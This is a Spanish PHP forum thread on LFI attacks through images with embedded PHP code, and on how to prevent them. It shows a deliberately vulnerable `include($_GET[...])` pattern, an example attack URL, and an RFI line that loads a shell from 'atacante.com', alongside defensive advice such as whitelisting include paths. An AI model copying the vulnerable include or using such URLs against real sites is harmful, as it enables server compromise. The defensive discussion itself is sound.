Foros del Web » Programando para Internet » PHP »

Ataques LFI con imágenes

Estas en el tema de Ataques LFI con imágenes en el foro de PHP en Foros del Web. Saludos amigos de PHP. He estado leyendo un artículo sobre ataques LFI con imágenes JPG. Estos ataque utilizan el Include de PHP para cargar imágenes ...

  #1 (permalink)  
Antiguo 16/12/2011, 23:00
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Pregunta Ataques LFI con imágenes

Saludos amigos de PHP. He estado leyendo un artículo sobre ataques LFI con imágenes JPG. Estos ataque utilizan el Include de PHP para cargar imágenes previamente subidas por la aplicación al servidor. La s imágenes han sido inyectadas con bloques de código PHP y luego se cargan con Include, haciendo toda clase de barbaridades en el sitio. Me gustaría saber más sobre eso. Algún sitio donde haya información precisa y abundante de ese tema. Quisiera saber si los ataques se producen solamente con imágenes JPG o sse utilizan otros formatos también. He estado googleando y la información que encuentro es muy general, pero no específica en cuanto al formato de imágenes utilizado.

Saludos.
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.
  #2 (permalink)  
Antiguo 17/12/2011, 03:24
Avatar de Triby
Mod on free time
 
Fecha de Ingreso: agosto-2008
Ubicación: $MX->Gto['León'];
Mensajes: 10.106
Antigüedad: 15 años, 8 meses
Puntos: 2237
Respuesta: Ataques LFI con imágenes

Realmente es posible este tipo de inyección de código PHP, pero no es tan grave porque... quién, en su sano juicio, hace include de imágenes?

La solución es: No confíes nunca en la información que suben los usuarios y, lógicamente, no hacer include de archivos obtenidos por formulario, sean jpg, php o cualquier otro.
__________________
- León, Guanajuato
- GV-Foto
  #3 (permalink)  
Antiguo 17/12/2011, 13:19
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Respuesta: Ataques LFI con imágenes

Hola Triby, gracias por tu interés en el tema. Realmente el include no se hacen a imágenes, pero es manipulados por el atacante, aprovechando un bug de PHP que haya dejado el programador. La cosa funciona así:

1) El atacante sube una imagen a través de algún formulario que tenga el sitio para este propósito. Por ejemplo MiFoto.jpg, esta ya viene con sorpresa jeje.

2) Una vez subida la imagen, el atacante trata de detectar una debilidad de este tipo:

$ruta = $_GET['ruta'];
Include($ruta);

3) Seguidamente, desde afuera, llama al sitio de esta forma:

Http://misitio.com?ruta=MiFoto.jpg

Y explotó la bomba. Un mecanismo ingenioso. Así que, para programadores PHP, nada de mandar las rutas completas de los includes por GET o POST, o los frien en cuestión de segundos.

Mi duda es si la inyección de código PHP solo se puede hacer en imágenes JPG o también en otros formatos? Digo yo, porque si es solamente con los JPG, otra medida a tomar sería prohibir la subida de JPG por los usuarios, restringiendo el tipo de imágenes que pueden subir a PNG, GIF u otro.

Saludos
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.

Última edición por jorgelpadronb; 17/12/2011 a las 13:32
  #4 (permalink)  
Antiguo 17/12/2011, 14:47
 
Fecha de Ingreso: septiembre-2007
Ubicación: PyRoot
Mensajes: 1.515
Antigüedad: 16 años, 7 meses
Puntos: 188
Respuesta: Ataques LFI con imágenes

Estas mal informado.

Y además ríes cuando dices que el archivo subido viene con sorpresa.

Realmente ese método que mencionas, supongo que se le ha ocurrido a algún hacker novel, No funcionaria como describes si el programador de la aplicación no pone de su parte,

:.........

Como dato interesante, cuando un archivo es creado para funcionar según su formato se define una característica denominada mime, generalmente los desarrolladores comprobamos los tipos mime de los archivos que han subido los usuarios para saber si los permitimos o no.

A ti que te gustan los temas "hacking", tal vez hayas escuchado hablar sobre inyección de código malicioso en componentes comunes, como crear un ejecutable a partir de una imagen usando themida, por ejemplo.

Si haces una compilación de este tipo, el archivo que obtienes tendrá un tipo mime del tipo ejecutable aunque el formato sea el de una imagen, por lo tanto con una sencilla validación de tipos mime todo el juego del hacker termina antes de empezar.


....:............

P.D.: si te gustan estos temas te comento que hay muchas otras formas de inyectar o ejecutar código en el servidor remoto, tu has comentado intuitivamente una, haciendo uso del método get pero para esto es necesario que el desarrollador de la aplicación pnga de su parte o bien que logres infectar el servidor para crear un archivo Ejecutable (PHP ) que realice la tarea que se te antoje.

Bueno, etc...

Saludos.
__________________
Si quieres agradecer el triangulo obscuro de la parte derecha debes presionar +.
  #5 (permalink)  
Antiguo 17/12/2011, 15:28
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Respuesta: Ataques LFI con imágenes

Hola iovan. Entonces no soy yo quien está equivocado, sino la referencia que he leíido, o tú, porque así mismo lo explican. Paso por paso. Te explican hasta como se hace la inyección de código en la imagen y que programas usar para eso.

Yo sé que el tipo mime se conprueba, y la referencia es bastante específica en cuanto a eso. La inyección de código PHP en la imagen no altera su formato, sigue siendo funcional. Eso está bien especificado en la referencia. Ahí es donde está lo peligroso del asunto. En que es totalmente indetectable pues las imágenes inyectadas no alteran su formato.

Y por eso es mi pregunta de si es el formato JPG el único que se presta para tal manipulación sin perder su funcionalidad.

La única ayuda que necesita el atacante en este caso es que el programador inexperto deje huecos de seguridad.

No me interesan los temas hacking, sino para protegerme yo mismo de eso. No soy hacker, ni siquiera me simpatizan los hackers. Ojalá se extingan o caigan todos en manos de la justicia. Yo lo único que busco es imprimirle más seguridad a mis trabajos. Y nada mejor para combatir al enemigo que conocer sus métodos. No puede simpatizarme una cosa de la que yo mismo puedo se víctima.

Saludos.
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.
  #6 (permalink)  
Antiguo 17/12/2011, 15:44
 
Fecha de Ingreso: septiembre-2007
Ubicación: PyRoot
Mensajes: 1.515
Antigüedad: 16 años, 7 meses
Puntos: 188
Respuesta: Ataques LFI con imágenes

Cita:
Iniciado por jorgelpadronb Ver Mensaje

Y por eso es mi pregunta de si es el formato JPG el único que se presta para tal manipulación sin perder su funcionalidad.

Yo lo único que busco es imprimirle más seguridad a mis trabajos. Y nada mejor para combatir al enemigo que conocer sus métodos..........
Si te pones a estudiar no tendrás mas dudas de esas, y cuanto no estés de acuerdo con algo sobre un tema que evidentemente no sabes mucho, no te enojes pongas karmas negativos y/o digas cosas que no vienen al caso, mejor aprende.

Un saludo y suerte.
__________________
Si quieres agradecer el triangulo obscuro de la parte derecha debes presionar +.
  #7 (permalink)  
Antiguo 17/12/2011, 15:52
Avatar de Artificium  
Fecha de Ingreso: enero-2011
Mensajes: 492
Antigüedad: 13 años, 3 meses
Puntos: 81
Respuesta: Ataques LFI con imágenes

Podrías poner el enlace de tu fuente?
  #8 (permalink)  
Antiguo 17/12/2011, 16:03
Avatar de HackmanC  
Fecha de Ingreso: enero-2008
Ubicación: Guatemala
Mensajes: 1.817
Antigüedad: 16 años, 2 meses
Puntos: 260
Sonrisa Respuesta: Ataques LFI con imágenes

Hola,

Cita:
Iniciado por jorgelpadronb Ver Mensaje
... Y por eso es mi pregunta de si es el formato JPG el único que se presta para tal manipulación sin perder su funcionalidad.
...
Realmente si es posible, es un método muy común y siempre hay que tomar las medidas necesarias en cualquier tipo de archivo subido, ya sea este una imagen o cualquier otra cosa. El procedimiento es mucho mas simple de lo que explicas y no es necesario que el programador que hizo el sitio haya puesto de su parte para que suceda esto.

Existen por lo menos dos aplicaciones muy populares que sufrieron de este exploit, por suerte actualmente ya están corregidas. Ahora bien, por supuesto que pierden su funcionalidad, es decir, la imagen JPG deja de ser una imagen, pero eso pasa a segundo plano porque el objetivo no es demostrar nada, simplemente correr un script en tu servidor.

Saludos,
  #9 (permalink)  
Antiguo 17/12/2011, 16:09
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Respuesta: Ataques LFI con imágenes

Cita:
Iniciado por Artificium Ver Mensaje
Podrías poner el enlace de tu fuente?
Gracias por participar amigo. Me ha costado un poco, pero logré encontrar la referencia en el historial de mi navegador.

http://www.govannom.org/seguridad/1-...inclusion.html
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.
  #10 (permalink)  
Antiguo 17/12/2011, 16:13
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Respuesta: Ataques LFI con imágenes

Cita:
Iniciado por iovan Ver Mensaje
Si te pones a estudiar no tendrás mas dudas de esas, y cuanto no estés de acuerdo con algo sobre un tema que evidentemente no sabes mucho, no te enojes pongas karmas negativos y/o digas cosas que no vienen al caso, mejor aprende.

Un saludo y suerte.
Realmente si me ofende muchísimo tu insinuación de que me gustan los hackers o sus cochinos temas de como fastidiar el trabajo de los demás.

Aunque creas que no, yo si estoy estudiando sobre el tema. De hecho, este post es parte de mi estudio.

Entonces, si tienes una respuesta que ayude compártela, sino al menos no ofendas.

Ahí te devuelvo tu Karma.

Saludos
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.
  #11 (permalink)  
Antiguo 17/12/2011, 16:25
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Respuesta: Ataques LFI con imágenes

Cita:
Iniciado por HackmanC Ver Mensaje
Hola,



Realmente si es posible, es un método muy común y siempre hay que tomar las medidas necesarias en cualquier tipo de archivo subido, ya sea este una imagen o cualquier otra cosa. El procedimiento es mucho mas simple de lo que explicas y no es necesario que el programador que hizo el sitio haya puesto de su parte para que suceda esto.

Existen por lo menos dos aplicaciones muy populares que sufrieron de este exploit, por suerte actualmente ya están corregidas. Ahora bien, por supuesto que pierden su funcionalidad, es decir, la imagen JPG deja de ser una imagen, pero eso pasa a segundo plano porque el objetivo no es demostrar nada, simplemente correr un script en tu servidor.

Saludos,
Saludos amigo. Muchas gracias por tu aporte. Se nota que dominas el tema. Tal vez las imágenes sí se alteran, pero no se de que forma, según el autor del tema, esto resulta totalmente invisible para la comprobación de tipo mime que se hace al subir el archivo. O sea que se sigue interpretando como una imagen válida, aunque probablemente al visualizarla ya no se vea ni remotamente parecida a lo que era antes de ser modificada.

Reitero la referencia del artículo:

http://www.govannom.org/seguridad/1-...inclusion.html

Saludos.
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.
  #12 (permalink)  
Antiguo 17/12/2011, 17:58
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Respuesta: Ataques LFI con imágenes

Otras referencias que acabo de encontrar:

http://foro.undersecurity.net/read.php?15,813

http://www.portalhacker.net/index.php?topic=93120.0

http://www.securityartwork.es/2010/1...inclusion-lfi/

Aquí también me habla de imágenes JPG. Pero hasta ahora nada seguro de si se pueden usar o no otros formatos de imágenes, que es en sí la duda que planteo en este tema.

Saludos.
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.

Última edición por jorgelpadronb; 17/12/2011 a las 18:29
  #13 (permalink)  
Antiguo 17/12/2011, 18:42
Avatar de HackmanC  
Fecha de Ingreso: enero-2008
Ubicación: Guatemala
Mensajes: 1.817
Antigüedad: 16 años, 2 meses
Puntos: 260
Sonrisa Respuesta: Ataques LFI con imágenes

Hola,

Cita:
Iniciado por jorgelpadronb Ver Mensaje
...
Aquí también me habla de imágenes JPG. Pero hasta ahora nada seguro de si se pueden usar o no otros formatos de imágenes, que es en sí la duda que planteo en este tema. ...
Bueno, realmente te lo digo porque a mi me pasó una vez con un sitio hecho con una versión vieja de un paquete muy popular open source (no menciono el nombre para no hacer mala publicidad ).

El hecho es que el cliente no quiso pagar por una actualización y básicamente nos solicitó que se subiera el sitio sin revisiones ni nada, aún cuando yo hice la aclaración que existía la posibilidad que con versiones antiguas existieran este tipo de problemas.

No pasaron ni dos meses y encontraron la vulnerabilidad, con lo que usaron un simple .gif, el tipo mime y las comprobaciones que hacen este tipo de aplicaciones es simple, no mira el contenido de las imágenes para comprobar que realmente es una imagen.

Lo que quiero decir es que posiblemente, con los ejemplos que mencionas, sea posible agregar un bloque de datos en archivos jpeg, al estilo exif, y en ese caso la vulnerabilidad es mas elegante :D y se salta las comprobaciones de seguridad; pero como no se trata de eso, en cualquier imagen, documento, audio o archivo se puede conseguir, en algunos casos, correr ese archivo como que fuera un script.

Saludos,

ps:

No incluyo muchos detalles porque no se que tan beneficioso sea realmente, nunca revisé a detalle el método que usaron, pero hice una copia de seguridad de la mayoría de los archivos que usaron para ejecutar el script. A simple vista el gif mantenía su estructura en la parte binaria, por lo que un programa de verificación de gifs posiblemente lo hubiera tomado como una imagen gif verdadera.

Última edición por HackmanC; 17/12/2011 a las 18:57 Razón: ps
  #14 (permalink)  
Antiguo 17/12/2011, 19:58
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Respuesta: Ataques LFI con imágenes

Cita:
Iniciado por HackmanC Ver Mensaje
Hola,



Bueno, realmente te lo digo porque a mi me pasó una vez con un sitio hecho con una versión vieja de un paquete muy popular open source (no menciono el nombre para no hacer mala publicidad ).

El hecho es que el cliente no quiso pagar por una actualización y básicamente nos solicitó que se subiera el sitio sin revisiones ni nada, aún cuando yo hice la aclaración que existía la posibilidad que con versiones antiguas existieran este tipo de problemas.

No pasaron ni dos meses y encontraron la vulnerabilidad, con lo que usaron un simple .gif, el tipo mime y las comprobaciones que hacen este tipo de aplicaciones es simple, no mira el contenido de las imágenes para comprobar que realmente es una imagen.

Lo que quiero decir es que posiblemente, con los ejemplos que mencionas, sea posible agregar un bloque de datos en archivos jpeg, al estilo exif, y en ese caso la vulnerabilidad es mas elegante :D y se salta las comprobaciones de seguridad; pero como no se trata de eso, en cualquier imagen, documento, audio o archivo se puede conseguir, en algunos casos, correr ese archivo como que fuera un script.

Saludos,

ps:

No incluyo muchos detalles porque no se que tan beneficioso sea realmente, nunca revisé a detalle el método que usaron, pero hice una copia de seguridad de la mayoría de los archivos que usaron para ejecutar el script. A simple vista el gif mantenía su estructura en la parte binaria, por lo que un programa de verificación de gifs posiblemente lo hubiera tomado como una imagen gif verdadera.
Saludos. Eso que me cuentas está trmendo hermano. Con un GIF?

En mi caso, yo necesito permitirle a los usuarios que suban sus imágenes. Pensando yo que los JPG eran los archivos de imágenes más propensos a este tipo de intrusiones, consideré la solución de forzar a que las imágenes que se puedan subir sean de otro formato que no sea JPG.

Pero al parecer, aunque lo más frecuente es el JPG, otros formatos también pueden contener cosas raras. Alguna imagen tendrán que poder subir, JPG, GIF o PNG. No se, si todas esas son igual de peligrosas.

Bueno, yo creo que con lo de no enviar las rutas de los Includes por GET ni POST es suficiente para evitar este tipo de ataques. De todas formas me resula incómodo pensar que puedo tener bichos metidos en las imágenes el sitio, aunque de momento no puedan hacer ningún daño. Me quedaría más tranquilos si pudiera filtrar las imágenes que se suben, para más seguridad.

Saludos
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.
  #15 (permalink)  
Antiguo 17/12/2011, 20:07
Avatar de GatorV
$this->role('moderador');
 
Fecha de Ingreso: mayo-2006
Ubicación: /home/ams/
Mensajes: 38.567
Antigüedad: 17 años, 10 meses
Puntos: 2135
Respuesta: Ataques LFI con imágenes

Creo te estas enfocando mal, en ves de prevenir que suban la foto, tienes que evitar que puedan hacer el include sobre la imagen, ya que así aunque suban la foto si no la pueden hacer que PHP la procese tu sitio estará seguro.
  #16 (permalink)  
Antiguo 17/12/2011, 20:22
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Respuesta: Ataques LFI con imágenes

Cita:
Iniciado por GatorV Ver Mensaje
Creo te estas enfocando mal, en ves de prevenir que suban la foto, tienes que evitar que puedan hacer el include sobre la imagen, ya que así aunque suban la foto si no la pueden hacer que PHP la procese tu sitio estará seguro.
Hola amigo. Tienes razón, de hecho esa es la primera medida que pienso tomar, nada de rutas de Includes viajando por GET o POST, eso es super peligroso. Sin embargo, me pone nervioso no saber con exactitud que clase de cosas están subiendo los usuarios. Como medida adicional me gustaría poder filtrar esas imágenes de alguna forma.

Saludos.
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.
  #17 (permalink)  
Antiguo 17/12/2011, 21:31
Avatar de GatorV
$this->role('moderador');
 
Fecha de Ingreso: mayo-2006
Ubicación: /home/ams/
Mensajes: 38.567
Antigüedad: 17 años, 10 meses
Puntos: 2135
Respuesta: Ataques LFI con imágenes

Pues lo que podrías hacer es leer la imagen y buscar el string <?php para que puedas ver si tienen código PHP, aunque el problema es que sería lento en imagenes grandes, lo mejor es usar getimagesize para asegurarte que sea una imagen, y evitar incluirlas por la ruta, así por más código PHP que tengan a lo mucho van mostrar una cruz en el browser.

Otra opción es implementar un CronJob que este analizando las imagenes y que vea que sean imagenes legítimas.
  #18 (permalink)  
Antiguo 17/12/2011, 22:57
 
Fecha de Ingreso: septiembre-2007
Ubicación: PyRoot
Mensajes: 1.515
Antigüedad: 16 años, 7 meses
Puntos: 188
Respuesta: Ataques LFI con imágenes

No se trata de que no permitas que el usuario deje de subir imágenes jpeg o gif.
Te respondo lo que no te dije antes, el ataque se puede hacer con cualquier tipo de archivo no necesariamente con jpeg.

La seguridad de tu sitio no debe depender en si el usuario se comporta y es bueno, si no en tu buena experiencia como desarrollador. Si eres experimentado no tienes porque cometer errores que generen vulnerabilidades ( a esto me refiero cuando digo que el programador pone de su parte).

Para terminar rápido, simplemente no hagas que se ejecuten los archivos del usuario en el servidor incluyendolos ( incluye,require) únicamente cargados y descargar los, si es una imagen puedes mostrarla en la página con su etiqueta HTML correspondiente sin temor a nada, pues lo que sucede es que el servidor enviara tal cual al cliente la imagen como respueta.

Me hubiera gustado escribir un poco mas pero me tengo que ir, errores ortográficos provocados por el corrector ortográfico de iPad, no es muy bueno sabes.
__________________
Si quieres agradecer el triangulo obscuro de la parte derecha debes presionar +.
  #19 (permalink)  
Antiguo 17/12/2011, 23:52
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Respuesta: Ataques LFI con imágenes

Cita:
Iniciado por GatorV Ver Mensaje
Pues lo que podrías hacer es leer la imagen y buscar el string <?php para que puedas ver si tienen código PHP, aunque el problema es que sería lento en imagenes grandes, lo mejor es usar getimagesize para asegurarte que sea una imagen, y evitar incluirlas por la ruta, así por más código PHP que tengan a lo mucho van mostrar una cruz en el browser.

Otra opción es implementar un CronJob que este analizando las imagenes y que vea que sean imagenes legítimas.
GatorV, creo que no voy a necesitar leer todo el archivo. Estuve mirando uno de los links que puse y explica que la inclusión de código en loas archivos JPG se hace en la cabecera del archivo. En base a eso encontré lo siguiente:

Código PHP:
Ver original
  1. $filename = 'un_archivo.jpg';
  2. $cabecera = exif_read_data($filename);
  3. echo '<pre>';
  4. print_r($cabecera);
  5. echo '</pre>';

De esta forma puedo recorrer la cabecera del JPG buscando secuencias como '<?','?>','<%', '%>', etc...

Lo probé y funciona rápido, aún con imágenes grandes.

Saludos.
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.
  #20 (permalink)  
Antiguo 18/12/2011, 00:11
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Respuesta: Ataques LFI con imágenes

Cita:
Iniciado por iovan Ver Mensaje
No se trata de que no permitas que el usuario deje de subir imágenes jpeg o gif.
Te respondo lo que no te dije antes, el ataque se puede hacer con cualquier tipo de archivo no necesariamente con jpeg.

La seguridad de tu sitio no debe depender en si el usuario se comporta y es bueno, si no en tu buena experiencia como desarrollador. Si eres experimentado no tienes porque cometer errores que generen vulnerabilidades ( a esto me refiero cuando digo que el programador pone de su parte).

Para terminar rápido, simplemente no hagas que se ejecuten los archivos del usuario en el servidor incluyendolos ( incluye,require) únicamente cargados y descargar los, si es una imagen puedes mostrarla en la página con su etiqueta HTML correspondiente sin temor a nada, pues lo que sucede es que el servidor enviara tal cual al cliente la imagen como respueta.

Me hubiera gustado escribir un poco mas pero me tengo que ir, errores ortográficos provocados por el corrector ortográfico de iPad, no es muy bueno sabes.
Estamos de acuerdo. Todo ataque para tener éxito, requiere que exista alguna deficiencia en la seguridad del sitio. Esa es la parte que debemos cuidar en nuestros proyectos.

Sobre las inclusiones también te apollo. Realmente eso de incluir imágenes con Include no tiene sentido. Creo que ni al último de los novatos se le ocurriría intentar incluir una imagen. Lo que se incluyen son siempre archivos PHP. El problema es que cuando la ruta del archivo que se va a incluir se toma del GET o del POST, el atacante desde afuera la puede sustituir por la ruta de la imagen infectada, que se subió previamente. Entonces tu Include lo que carga es la ruta de la imagen en sustitución de la ruta del archivo PHP original.

Queda claro que la solución es no enviar jamás las rutas de los includes por GET o POST. De esa forma se elimina toda posibilidad de recibir un ataque de este tipo. Gracias por tu aporte.

Saludos.
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.
  #21 (permalink)  
Antiguo 18/12/2011, 01:23
Avatar de Triby
Mod on free time
 
Fecha de Ingreso: agosto-2008
Ubicación: $MX->Gto['León'];
Mensajes: 10.106
Antigüedad: 15 años, 8 meses
Puntos: 2237
Respuesta: Ataques LFI con imágenes

Cita:
Iniciado por jorgelpadronb
Hola Triby, gracias por tu interés en el tema. Realmente el include no se hacen a imágenes, pero es manipulados por el atacante, aprovechando un bug de PHP que haya dejado el programador. La cosa funciona así:

1) El atacante sube una imagen a través de algún formulario que tenga el sitio para este propósito. Por ejemplo MiFoto.jpg, esta ya viene con sorpresa jeje.

2) Una vez subida la imagen, el atacante trata de detectar una debilidad de este tipo:

$ruta = $_GET['ruta'];
Include($ruta);

3) Seguidamente, desde afuera, llama al sitio de esta forma:

Http://misitio.com?ruta=MiFoto.jpg
A ver, por favor, no confundamos, no se trata de un bug de PHP, sino de una mala programación por no validar.

Como dije desde el principio, no confies en los datos introducidos por el usuario y, en eso se incluye el validar TODO lo que recibas en $_GET, $_POST, $_COOKIE y $_SESSION, ya que son manipulables fácilmente.

Y modifico la pregunta que hice originalmente: Quién, en su sano juicio, hace un include de un archivo sin verificar primero de qué se trata?

Anteriormente era "muy cómodo" hacer ese tipo de sitios donde incluías directamente el archivo especificado en $_GET, pero, la solución es tan sencilla como:

Código PHP:
Ver original
  1. $rutas = array('index.php', 'fotos.php', 'contacto.php', 'etc.php');
  2. $ruta = $_GET['ruta']; // Falta una pequeña validación, pero sólo es una muestra
  3. if( ! in_array($ruta, $rutas)) {
  4.     die('Quién, en su sano juicio, hace include de archivos sin validar?');
  5. }

Y repito, claro que es posible, pero no es tan grave... si validas correctamente!
__________________
- León, Guanajuato
- GV-Foto
  #22 (permalink)  
Antiguo 18/12/2011, 12:35
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Respuesta: Ataques LFI con imágenes

Hola Triby. Tal vez me han informado mal. Pues, según me respondieron en este mismo foro, en un tema afín que puse hace ya algún tiempo, un bug de seguridad es precisamente eso, una debilidad de la aplicación por mala validación de los datos que entran desde el exterior, por la vía que sea (todas las que tu enumeras).

En cuanto a quien se le ocurriría hacer un Include sin previa validación, pues a cualquiera que desconozca este tema. Yo mismo lo hubiera hecho antes de conocer de los peligros reales que represente. Ahora ya tengo la experiencia, gracias a todos los que han participado en este tema, pero antes hubiera cometido el error por desconocimiento, sin sospechar el peligro.

Que bueno que aquí hay personas conocedoras como ustedes, dispuestos a ayudar a los que estamos comenzando.

Saludos a todos y GRACIAS.
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.
  #23 (permalink)  
Antiguo 18/12/2011, 13:03
 
Fecha de Ingreso: enero-2011
Ubicación: Argentina
Mensajes: 80
Antigüedad: 13 años, 2 meses
Puntos: 12
Respuesta: Ataques LFI con imágenes

Hola jorgelpadronb quiero decirte que yo desconocía al respecto de los ataques vía imagen y gracias a tu post y a todos los compañeros del foro que participaron del él, pude aprender bastante del asunto. Así que ahora estaré tomando más precuación... gracias amigo me gustó el tema!!

y @Triby es un genio una vez me ayudó con un FTP Client!!

Saludos
  #24 (permalink)  
Antiguo 18/12/2011, 14:13
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Respuesta: Ataques LFI con imágenes

Hola MaxDgy. Yo también aprendí mucho con este tema. Le agradezco mucho a todos los que participaron y a tí por tu valoración positiva sobre el tema.

Saludos.
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.
  #25 (permalink)  
Antiguo 18/12/2011, 14:52
 
Fecha de Ingreso: septiembre-2007
Ubicación: PyRoot
Mensajes: 1.515
Antigüedad: 16 años, 7 meses
Puntos: 188
Respuesta: Ataques LFI con imágenes

Es verdad triby si es un genio esta bien preparado, yo creo a todos nos a ayudado.

Camboando de tema, vuelves a mezclar los conceptos.

Lo que mencionas no es ocacionado por un bug de PHP y no tiene que ver con eso.

, piensa que PHP no tiene la culpa que sus desarrolladores no sepan programar adecuadamente.

Saludos
__________________
Si quieres agradecer el triangulo obscuro de la parte derecha debes presionar +.
  #26 (permalink)  
Antiguo 18/12/2011, 14:57
Avatar de Sourcegeek
Colaborador
 
Fecha de Ingreso: mayo-2009
Ubicación: $mex['B.C.'];
Mensajes: 1.816
Antigüedad: 14 años, 11 meses
Puntos: 322
Respuesta: Ataques LFI con imágenes

Y ya que están con el tema, cuidado también con los RFI - Remote File Inclusion - que se dá cuando está activada la directiva allow_url_fopen que permite hacer, por ejemplo, includes a páginas externas, permitiendo cargar cosas como shells:

Código PHP:
Ver original
  1. include($_GET['url']);
  2.  
  3. // index.php?url=http://atacante.com/shell.txt

Saludos!
__________________
Buscas desarrollador web? Sourcegeek. Diseño web, Maquetación y Programación
¡Escribe bien! Esto es un foro, no un Facebook para que escribas con los pies
  #27 (permalink)  
Antiguo 18/12/2011, 15:03
 
Fecha de Ingreso: septiembre-2007
Ubicación: PyRoot
Mensajes: 1.515
Antigüedad: 16 años, 7 meses
Puntos: 188
Respuesta: Ataques LFI con imágenes

Ya habia escuchado hablar de eso pero dabes me quedan mis dudas, piensa que con php al incluir un archivo externo lo que realmente pasa es que llamas al script php en el servidor reoto y este se ejecuta en el remoto, obtiene una respuesta y esta es la que incluyes en tu llamado.

No se, yo creo que no funciona.

Incluirias solamente los outputs o salidas del script php remoto, no le veo mucho peligro.

Pero te repito, no se.
__________________
Si quieres agradecer el triangulo obscuro de la parte derecha debes presionar +.
  #28 (permalink)  
Antiguo 18/12/2011, 15:27
Avatar de Sourcegeek
Colaborador
 
Fecha de Ingreso: mayo-2009
Ubicación: $mex['B.C.'];
Mensajes: 1.816
Antigüedad: 14 años, 11 meses
Puntos: 322
Respuesta: Ataques LFI con imágenes

Claro, pero eso sucede sólo cuando se ejecuta como archivo .php, si te das cuenta, una shell se carga -normalmente- en .txt para evitar que sea ejecutada en el servidor atacante

Saludos
__________________
Buscas desarrollador web? Sourcegeek. Diseño web, Maquetación y Programación
¡Escribe bien! Esto es un foro, no un Facebook para que escribas con los pies
  #29 (permalink)  
Antiguo 18/12/2011, 20:32
Avatar de jorgelpadronb  
Fecha de Ingreso: agosto-2011
Ubicación: Cuba
Mensajes: 281
Antigüedad: 12 años, 8 meses
Puntos: 37
Respuesta: Ataques LFI con imágenes

Cita:
Iniciado por iovan Ver Mensaje
Es verdad triby si es un genio esta bien preparado, yo creo a todos nos a ayudado.

Camboando de tema, vuelves a mezclar los conceptos.

Lo que mencionas no es ocacionado por un bug de PHP y no tiene que ver con eso.

, piensa que PHP no tiene la culpa que sus desarrolladores no sepan programar adecuadamente.

Saludos
Hola Iovan. Una vez más estamos de acuerdo. De hecho eso fué lo que quise decir. No es PHP, sino el programador el que deja deficiencias en la seguridad de su aplicación.

Yo tenía entendido que eso era a lo que se le llama un BUG (una debilidad en la seguridad del sitio provocada por una deficiente validación por parte del programador). Una vez pregunté sobre eso en este foro y me dijero que era eso. Si no es así, entonces, que es en realidad un BUG?

Saludos.
__________________
Los hombres pequeños, nunca se sienten pequeños; los hombres grandes, nunca se sienten grandes.

No sé quien fué el que dijo eso, pero está bueno.
  #30 (permalink)  
Antiguo 18/12/2011, 20:33
Avatar de Triby
Mod on free time
 
Fecha de Ingreso: agosto-2008
Ubicación: $MX->Gto['León'];
Mensajes: 10.106
Antigüedad: 15 años, 8 meses
Puntos: 2237
Respuesta: Ataques LFI con imágenes

Cita:
Iniciado por jorgelpadronb Ver Mensaje
